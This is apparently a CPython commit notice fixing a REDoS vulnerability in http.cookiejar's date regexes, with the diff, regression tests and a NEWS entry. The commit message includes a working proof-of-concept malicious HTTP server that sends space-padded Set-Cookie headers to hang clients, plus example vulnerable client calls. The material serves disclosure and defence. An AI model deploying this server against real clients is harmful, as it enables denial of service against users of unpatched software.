https://github.com/python/cpython/commit/cb6085138a845f8324adc011b65754acc20... commit: cb6085138a845f8324adc011b65754acc2086cc0 branch: 3.7 author: Miss Islington (bot) <31488909+miss-islington@users.noreply.github.com> committer: GitHub <noreply@github.com> date: 2019-11-22T06:42:13-08:00 summary: bpo-38804: Fix REDoS in http.cookiejar (GH-17157) The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com> files: A Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst M Lib/http/cookiejar.py M Lib/test/test_http_cookiejar.py M Misc/ACKS diff --git a/Lib/http/cookiejar.py b/Lib/http/cookiejar.py index 1bed893b1e266..d43a2193f9128 100644 --- a/Lib/http/cookiejar.py +++ b/Lib/http/cookiejar.py @@ -213,10 +213,14 @@ def _str2time(day, mon, yr, hr, min, sec, tz): (?::(\d\d))? # optional seconds )? # optional clock \s* - ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone + (?: + ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+) # timezone + \s* + )? + (?: + \(\w+\) # ASCII representation of timezone in parens. \s* - (?:\(\w+\))? # ASCII representation of timezone in parens. - \s*$""", re.X | re.ASCII) + )?$""", re.X | re.ASCII) def http2time(text): """Returns time in seconds since epoch of time represented by a string. @@ -286,9 +290,11 @@ def http2time(text): (?::?(\d\d(?:\.\d*)?))? # optional seconds (and fractional) )? # optional clock \s* - ([-+]?\d\d?:?(:?\d\d)? - |Z|z)? # timezone (Z is "zero meridian", i.e. GMT) - \s*$""", re.X | re. ASCII) + (?: + ([-+]?\d\d?:?(:?\d\d)? + |Z|z) # timezone (Z is "zero meridian", i.e. GMT) + \s* + )?$""", re.X | re. ASCII) def iso2time(text): """ As for http2time, but parses the ISO 8601 formats: diff --git a/Lib/test/test_http_cookiejar.py b/Lib/test/test_http_cookiejar.py index 6eabeeae999d8..ff86ffa98c3ee 100644 --- a/Lib/test/test_http_cookiejar.py +++ b/Lib/test/test_http_cookiejar.py @@ -123,6 +123,13 @@ def test_http2time_garbage(self): "http2time(%s) is not None\n" "http2time(test) %s" % (test, http2time(test))) + def test_http2time_redos_regression_actually_completes(self): + # LOOSE_HTTP_DATE_RE was vulnerable to malicious input which caused catastrophic backtracking (REDoS). + # If we regress to cubic complexity, this test will take a very long time to succeed. + # If fixed, it should complete within a fraction of a second. + http2time("01 Jan 1970{}00:00:00 GMT!".format(" " * 10 ** 5)) + http2time("01 Jan 1970 00:00:00{}GMT!".format(" " * 10 ** 5)) + def test_iso2time(self): def parse_date(text): return time.gmtime(iso2time(text))[:6] @@ -180,6 +187,12 @@ def test_iso2time_garbage(self): self.assertIsNone(iso2time(test), "iso2time(%r)" % test) + def test_iso2time_performance_regression(self): + # If ISO_DATE_RE regresses to quadratic complexity, this test will take a very long time to succeed. + # If fixed, it should complete within a fraction of a second. + iso2time('1994-02-03{}14:15:29 -0100!'.format(' '*10**6)) + iso2time('1994-02-03 14:15:29{}-0100!'.format(' '*10**6)) + class HeaderTests(unittest.TestCase): diff --git a/Misc/ACKS b/Misc/ACKS index 7afc92e7bb767..ad012eae7a323 100644 --- a/Misc/ACKS +++ b/Misc/ACKS @@ -245,6 +245,7 @@ Zach Byrne Vedran Čačić Nicolas Cadou Jp Calderone +Ben Caller Arnaud Calmettes Daniel Calvelo Tony Campbell diff --git a/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst b/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst new file mode 100644 index 0000000000000..1f45142d9f743 --- /dev/null +++ b/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst @@ -0,0 +1 @@ +Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. Patch by Ben Caller.